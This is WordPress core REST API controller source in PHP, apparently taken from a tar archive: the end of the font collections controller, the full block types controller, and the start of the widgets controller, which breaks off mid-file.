	*/
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $item->slug;
		}

		// If any data fields are requested, get the collection data.
		$data_fields = array( 'name', 'description', 'font_families', 'categories' );
		if ( ! empty( array_intersect( $fields, $data_fields ) ) ) {
			$collection_data = $item->get_data();
			if ( is_wp_error( $collection_data ) ) {
				$collection_data->add_data( array( 'status' => 500 ) );
				return $collection_data;
			}

			/**
			 * Don't prepare the response body for HEAD requests.
			 * Can't exit at the beginning of the method due to the potential need to return a WP_Error object.
			 */
			if ( $request->is_method( 'HEAD' ) ) {
				/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */
				return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request );
			}

			foreach ( $data_fields as $field ) {
				if ( rest_is_field_included( $field, $fields ) ) {
					$data[ $field ] = $collection_data[ $field ];
				}
			}
		}

		/**
		 * Don't prepare the response body for HEAD requests.
		 * Can't exit at the beginning of the method due to the potential need to return a WP_Error object.
		 */
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */
			return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request );
		}

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		$context        = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$response->data = $this->add_additional_fields_to_object( $response->data, $request );
		$response->data = $this->filter_response_by_context( $response->data, $context );

		/**
		 * Filters the font collection data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response   $response The response object.
		 * @param WP_Font_Collection $item     The font collection object.
		 * @param WP_REST_Request    $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_font_collection', $response, $item, $request );
	}

	/**
	 * Retrieves the font collection's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'font-collection',
			'type'       => 'object',
			'properties' => array(
				'slug'          => array(
					'description' => __( 'Unique identifier for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'name'          => array(
					'description' => __( 'The name for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description'   => array(
					'description' => __( 'The description for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'font_families' => array(
					'description' => __( 'The font families for the font collection.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'categories'    => array(
					'description' => __( 'The categories for the font collection.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Font_Collection $collection Font collection data
	 * @return array Links for the given font collection.
	 */
	protected function prepare_links( $collection ) {
		return array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $collection->slug ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);
	}

	/**
	 * Retrieves the search params for the font collections.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );

		unset( $query_params['search'] );

		/**
		 * Filters REST API collection parameters for the font collections controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_font_collections_collection_params', $query_params );
	}

	/**
	 * Checks whether the user has permissions to use the Fonts Collections.
	 *
	 * @since 6.5.0
	 *
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_read',
			__( 'Sorry, you are not allowed to access font collections.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}
}
endpoints/class-wp-rest-block-types-controller.php000064400000064375151724720270016425 0ustar00<?php
/**
 * REST API: WP_REST_Block_Types_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.5.0
 */

/**
 * Core class used to access block types via the REST API.
 *
 * @since 5.5.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Types_Controller extends WP_REST_Controller {

	const NAME_PATTERN = '^[a-z][a-z0-9-]*/[a-z][a-z0-9-]*$';

	/**
	 * Instance of WP_Block_Type_Registry.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Type_Registry
	 */
	protected $block_registry;

	/**
	 * Instance of WP_Block_Styles_Registry.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Styles_Registry
	 */
	protected $style_registry;

	/**
	 * Constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->namespace      = 'wp/v2';
		$this->rest_base      = 'block-types';
		$this->block_registry = WP_Block_Type_Registry::get_instance();
		$this->style_registry = WP_Block_Styles_Registry::get_instance();
	}

	/**
	 * Registers the routes for block types.
	 *
	 * @since 5.5.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<namespace>[a-zA-Z0-9_-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<namespace>[a-zA-Z0-9_-]+)/(?P<name>[a-zA-Z0-9_-]+)',
			array(
				'args'   => array(
					'name'      => array(
						'description' => __( 'Block name.' ),
						'type'        => 'string',
					),
					'namespace' => array(
						'description' => __( 'Block namespace.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read post block types.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return $this->check_read_permission();
	}

	/**
	 * Retrieves all post block types, depending on user context.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$data        = array();
		$block_types = $this->block_registry->get_all_registered();

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();
		$namespace  = '';
		if ( isset( $registered['namespace'] ) && ! empty( $request['namespace'] ) ) {
			$namespace = $request['namespace'];
		}

		foreach ( $block_types as $obj ) {
			if ( $namespace ) {
				list ( $block_namespace ) = explode( '/', $obj->name );

				if ( $namespace !== $block_namespace ) {
					continue;
				}
			}
			$block_type = $this->prepare_item_for_response( $obj, $request );
			$data[]     = $this->prepare_response_for_collection( $block_type );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a block type.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$check = $this->check_read_permission();
		if ( is_wp_error( $check ) ) {
			return $check;
		}
		$block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] );
		$block_type = $this->get_block( $block_name );
		if ( is_wp_error( $block_type ) ) {
			return $block_type;
		}

		return true;
	}

	/**
	 * Checks whether a given block type should be visible.
	 *
	 * @since 5.5.0
	 *
	 * @return true|WP_Error True if the block type is visible, WP_Error otherwise.
	 */
	protected function check_read_permission() {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}
		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error( 'rest_block_type_cannot_view', __( 'Sorry, you are not allowed to manage block types.' ), array( 'status' => rest_authorization_required_code() ) );
	}

	/**
	 * Get the block, if the name is valid.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Block name.
	 * @return WP_Block_Type|WP_Error Block type object if name is valid, WP_Error otherwise.
	 */
	protected function get_block( $name ) {
		$block_type = $this->block_registry->get_registered( $name );
		if ( empty( $block_type ) ) {
			return new WP_Error( 'rest_block_type_invalid', __( 'Invalid block type.' ), array( 'status' => 404 ) );
		}

		return $block_type;
	}

	/**
	 * Retrieves a specific block type.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] );
		$block_type = $this->get_block( $block_name );
		if ( is_wp_error( $block_type ) ) {
			return $block_type;
		}
		$data = $this->prepare_item_for_response( $block_type, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a block type object for serialization.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$block_type` to `$item` to match parent class for PHP 8 named parameter support.
	 * @since 6.3.0 Added `selectors` field.
	 * @since 6.5.0 Added `view_script_module_ids` field.
	 *
	 * @param WP_Block_Type   $item    Block type data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Block type data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$block_type = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php */
			return apply_filters( 'rest_prepare_block_type', new WP_REST_Response( array() ), $block_type, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'attributes', $fields ) ) {
			$data['attributes'] = $block_type->get_attributes();
		}

		if ( rest_is_field_included( 'is_dynamic', $fields ) ) {
			$data['is_dynamic'] = $block_type->is_dynamic();
		}

		$schema = $this->get_item_schema();
		// Fields deprecated in WordPress 6.1, but left in the schema for backwards compatibility.
		$deprecated_fields = array(
			'editor_script',
			'script',
			'view_script',
			'editor_style',
			'style',
		);
		$extra_fields      = array_merge(
			array(
				'api_version',
				'name',
				'title',
				'description',
				'icon',
				'category',
				'keywords',
				'parent',
				'ancestor',
				'allowed_blocks',
				'provides_context',
				'uses_context',
				'selectors',
				'supports',
				'styles',
				'textdomain',
				'example',
				'editor_script_handles',
				'script_handles',
				'view_script_handles',
				'view_script_module_ids',
				'editor_style_handles',
				'style_handles',
				'view_style_handles',
				'variations',
				'block_hooks',
			),
			$deprecated_fields
		);
		foreach ( $extra_fields as $extra_field ) {
			if ( rest_is_field_included( $extra_field, $fields ) ) {
				if ( isset( $block_type->$extra_field ) ) {
					$field = $block_type->$extra_field;
					if ( in_array( $extra_field, $deprecated_fields, true ) && is_array( $field ) ) {
						// Since the schema only allows strings or null (but no arrays), we return the first array item.
						$field = ! empty( $field ) ? array_shift( $field ) : '';
					}
				} elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) {
					$field = $schema['properties'][ $extra_field ]['default'];
				} else {
					$field = '';
				}
				$data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] );
			}
		}

		if ( rest_is_field_included( 'styles', $fields ) ) {
			$styles         = $this->style_registry->get_registered_styles_for_block( $block_type->name );
			$styles         = array_values( $styles );
			$data['styles'] = wp_parse_args( $styles, $data['styles'] );
			$data['styles'] = array_filter( $data['styles'] );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $block_type ) );
		}

		/**
		 * Filters a block type returned from the REST API.
		 *
		 * Allows modification of the block type data right before it is returned.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_REST_Response $response   The response object.
		 * @param WP_Block_Type    $block_type The original block type object.
		 * @param WP_REST_Request  $request    Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_block_type', $response, $block_type, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Block_Type $block_type Block type data.
	 * @return array Links for the given block type.
	 */
	protected function prepare_links( $block_type ) {
		list( $namespace ) = explode( '/', $block_type->name );

		$links = array(
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $block_type->name ) ),
			),
			'up'         => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $namespace ) ),
			),
		);

		if ( $block_type->is_dynamic() ) {
			$links['https://api.w.org/render-block'] = array(
				'href' => add_query_arg(
					'context',
					'edit',
					rest_url( sprintf( '%s/%s/%s', 'wp/v2', 'block-renderer', $block_type->name ) )
				),
			);
		}

		return $links;
	}

	/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.5.0
	 * @since 6.3.0 Added `selectors` field.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		// rest_validate_value_from_schema doesn't understand $refs, pull out reused definitions for readability.
		$inner_blocks_definition = array(
			'description' => __( 'The list of inner blocks used in the example.' ),
			'type'        => 'array',
			'items'       => array(
				'type'       => 'object',
				'properties' => array(
					'name'        => array(
						'description' => __( 'The name of the inner block.' ),
						'type'        => 'string',
						'pattern'     => self::NAME_PATTERN,
						'required'    => true,
					),
					'attributes'  => array(
						'description' => __( 'The attributes of the inner block.' ),
						'type'        => 'object',
					),
					'innerBlocks' => array(
						'description' => __( "A list of the inner block's own inner blocks. This is a recursive definition following the parent innerBlocks schema." ),
						'type'        => 'array',
					),
				),
			),
		);

		$example_definition = array(
			'description' => __( 'Block example.' ),
			'type'        => array( 'object', 'null' ),
			'default'     => null,
			'properties'  => array(
				'attributes'  => array(
					'description' => __( 'The attributes used in the example.' ),
					'type'        => 'object',
				),
				'innerBlocks' => $inner_blocks_definition,
			),
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$keywords_definition = array(
			'description' => __( 'Block keywords.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'default'     => array(),
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$icon_definition = array(
			'description' => __( 'Icon of block type.' ),
			'type'        => array( 'string', 'null' ),
			'default'     => null,
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$category_definition = array(
			'description' => __( 'Block category.' ),
			'type'        => array( 'string', 'null' ),
			'default'     => null,
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-type',
			'type'       => 'object',
			'properties' => array(
				'api_version'            => array(
					'description' => __( 'Version of block API.' ),
					'type'        => 'integer',
					'default'     => 1,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'title'                  => array(
					'description' => __( 'Title of block type.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'name'                   => array(
					'description' => __( 'Unique name identifying the block type.' ),
					'type'        => 'string',
					'pattern'     => self::NAME_PATTERN,
					'required'    => true,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description'            => array(
					'description' => __( 'Description of block type.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'icon'                   => $icon_definition,
				'attributes'             => array(
					'description'          => __( 'Block attributes.' ),
					'type'                 => array( 'object', 'null' ),
					'properties'           => array(),
					'default'              => null,
					'additionalProperties' => array(
						'type' => 'object',
					),
					'context'              => array( 'embed', 'view', 'edit' ),
					'readonly'             => true,
				),
				'provides_context'       => array(
					'description'          => __( 'Context provided by blocks of this type.' ),
					'type'                 => 'object',
					'properties'           => array(),
					'additionalProperties' => array(
						'type' => 'string',
					),
					'default'              => array(),
					'context'              => array( 'embed', 'view', 'edit' ),
					'readonly'             => true,
				),
				'uses_context'           => array(
					'description' => __( 'Context values inherited by blocks of this type.' ),
					'type'        => 'array',
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'selectors'              => array(
					'description' => __( 'Custom CSS selectors.' ),
					'type'        => 'object',
					'default'     => array(),
					'properties'  => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'supports'               => array(
					'description' => __( 'Block supports.' ),
					'type'        => 'object',
					'default'     => array(),
					'properties'  => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'category'               => $category_definition,
				'is_dynamic'             => array(
					'description' => __( 'Is the block dynamically rendered.' ),
					'type'        => 'boolean',
					'default'     => false,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'editor_script_handles'  => array(
					'description' => __( 'Editor script handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'script_handles'         => array(
					'description' => __( 'Public facing and editor script handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'view_script_handles'    => array(
					'description' => __( 'Public facing script handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'view_script_module_ids' => array(
					'description' => __( 'Public facing script module IDs.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'editor_style_handles'   => array(
					'description' => __( 'Editor style handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'style_handles'          => array(
					'description' => __( 'Public facing and editor style handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'view_style_handles'     => array(
					'description' => __( 'Public facing style handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'styles'                 => array(
					'description' => __( 'Block style variations.' ),
					'type'        => 'array',
					'items'       => array(
						'type'       => 'object',
						'properties' => array(
							'name'         => array(
								'description' => __( 'Unique name identifying the style.' ),
								'type'        => 'string',
								'required'    => true,
							),
							'label'        => array(
								'description' => __( 'The human-readable label for the style.' ),
								'type'        => 'string',
							),
							'inline_style' => array(
								'description' => __( 'Inline CSS code that registers the CSS class required for the style.' ),
								'type'        => 'string',
							),
							'style_handle' => array(
								'description' => __( 'Contains the handle that defines the block style.' ),
								'type'        => 'string',
							),
						),
					),
					'default'     => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'variations'             => array(
					'description' => __( 'Block variations.' ),
					'type'        => 'array',
					'items'       => array(
						'type'       => 'object',
						'properties' => array(
							'name'        => array(
								'description' => __( 'The unique and machine-readable name.' ),
								'type'        => 'string',
								'required'    => true,
							),
							'title'       => array(
								'description' => __( 'A human-readable variation title.' ),
								'type'        => 'string',
								'required'    => true,
							),
							'description' => array(
								'description' => __( 'A detailed variation description.' ),
								'type'        => 'string',
								'required'    => false,
							),
							'category'    => $category_definition,
							'icon'        => $icon_definition,
							'isDefault'   => array(
								'description' => __( 'Indicates whether the current variation is the default one.' ),
								'type'        => 'boolean',
								'required'    => false,
								'default'     => false,
							),
							'attributes'  => array(
								'description' => __( 'The initial values for attributes.' ),
								'type'        => 'object',
							),
							'innerBlocks' => $inner_blocks_definition,
							'example'     => $example_definition,
							'scope'       => array(
								'description' => __( 'The list of scopes where the variation is applicable. When not provided, it assumes all available scopes.' ),
								'type'        => array( 'array', 'null' ),
								'default'     => null,
								'items'       => array(
									'type' => 'string',
									'enum' => array( 'block', 'inserter', 'transform' ),
								),
								'readonly'    => true,
							),
							'keywords'    => $keywords_definition,
						),
					),
					'readonly'    => true,
					'context'     => array( 'embed', 'view', 'edit' ),
					'default'     => null,
				),
				'textdomain'             => array(
					'description' => __( 'Public text domain.' ),
					'type'        => array( 'string', 'null' ),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'parent'                 => array(
					'description' => __( 'Parent blocks.' ),
					'type'        => array( 'array', 'null' ),
					'items'       => array(
						'type'    => 'string',
						'pattern' => self::NAME_PATTERN,
					),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'ancestor'               => array(
					'description' => __( 'Ancestor blocks.' ),
					'type'        => array( 'array', 'null' ),
					'items'       => array(
						'type'    => 'string',
						'pattern' => self::NAME_PATTERN,
					),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'allowed_blocks'         => array(
					'description' => __( 'Allowed child block types.' ),
					'type'        => array( 'array', 'null' ),
					'items'       => array(
						'type'    => 'string',
						'pattern' => self::NAME_PATTERN,
					),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'keywords'               => $keywords_definition,
				'example'                => $example_definition,
				'block_hooks'            => array(
					'description'       => __( 'This block is automatically inserted near any occurrence of the block types used as keys of this map, into a relative position given by the corresponding value.' ),
					'type'              => 'object',
					'patternProperties' => array(
						self::NAME_PATTERN => array(
							'type' => 'string',
							'enum' => array( 'before', 'after', 'first_child', 'last_child' ),
						),
					),
					'default'           => array(),
					'context'           => array( 'embed', 'view', 'edit' ),
					'readonly'          => true,
				),
			),
		);

		// Properties deprecated in WordPress 6.1, but left in the schema for backwards compatibility.
		$deprecated_properties      = array(
			'editor_script' => array(
				'description' => __( 'Editor script handle. DEPRECATED: Use `editor_script_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'script'        => array(
				'description' => __( 'Public facing and editor script handle. DEPRECATED: Use `script_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'view_script'   => array(
				'description' => __( 'Public facing script handle. DEPRECATED: Use `view_script_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'editor_style'  => array(
				'description' => __( 'Editor style handle. DEPRECATED: Use `editor_style_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'style'         => array(
				'description' => __( 'Public facing and editor style handle. DEPRECATED: Use `style_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
		);
		$this->schema['properties'] = array_merge( $this->schema['properties'], $deprecated_properties );

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 5.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context'   => $this->get_context_param( array( 'default' => 'view' ) ),
			'namespace' => array(
				'description' => __( 'Block namespace.' ),
				'type'        => 'string',
			),
		);
	}
}
endpoints/class-wp-rest-widgets-controller.php000064400000064415151724720270015632 0ustar00<?php
/**
 * REST API: WP_REST_Widgets_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Core class to access widgets via the REST API.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Widgets_Controller extends WP_REST_Controller {

	/**
	 * Tracks whether {@see retrieve_widgets()} has been called in the current request.
	 *
	 * @since 5.9.0
	 * @var bool
	 */
	protected $widgets_retrieved = false;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Widgets controller constructor.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'widgets';
	}

	/**
	 * Registers the widget routes for the controller.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			$this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema(),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			$this->rest_base . '/(?P<id>[\w\-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'description' => __( 'Whether to force removal of the widget, or move it to the inactive sidebar.' ),
							'type'        => 'boolean',
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$this->retrieve_widgets();
		if ( isset( $request['sidebar'] ) && $this->check_read_sidebar_permission( $request['sidebar'] ) ) {
			return true;
		}

		foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) {
			if ( $this->check_read_sidebar_permission( $sidebar_id ) ) {
				return true;
			}
		}

		return $this->permissions_check( $request );
	}

	/**
	 * Retrieves a collection of widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$this->retrieve_widgets();

		$prepared          = array();
		$permissions_check = $this->permissions_check( $request );

		foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) {
			if ( isset( $request['sidebar'] ) && $sidebar_id !== $request['sidebar'] ) {
				continue;
			}

			if ( is_wp_error( $permissions_check ) && ! $this->check_read_sidebar_permission( $sidebar_id ) ) {
				continue;
			}

			foreach ( $widget_ids as $widget_id ) {
				$response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request );

				if ( ! is_wp_error( $response ) ) {
					$prepared[] = $this->prepare_response_for_collection( $response );
				}
			}
		}

		return new WP_REST_Response( $prepared );
	}

	/**
	 * Checks if a given request has access to get a widget.
	 *
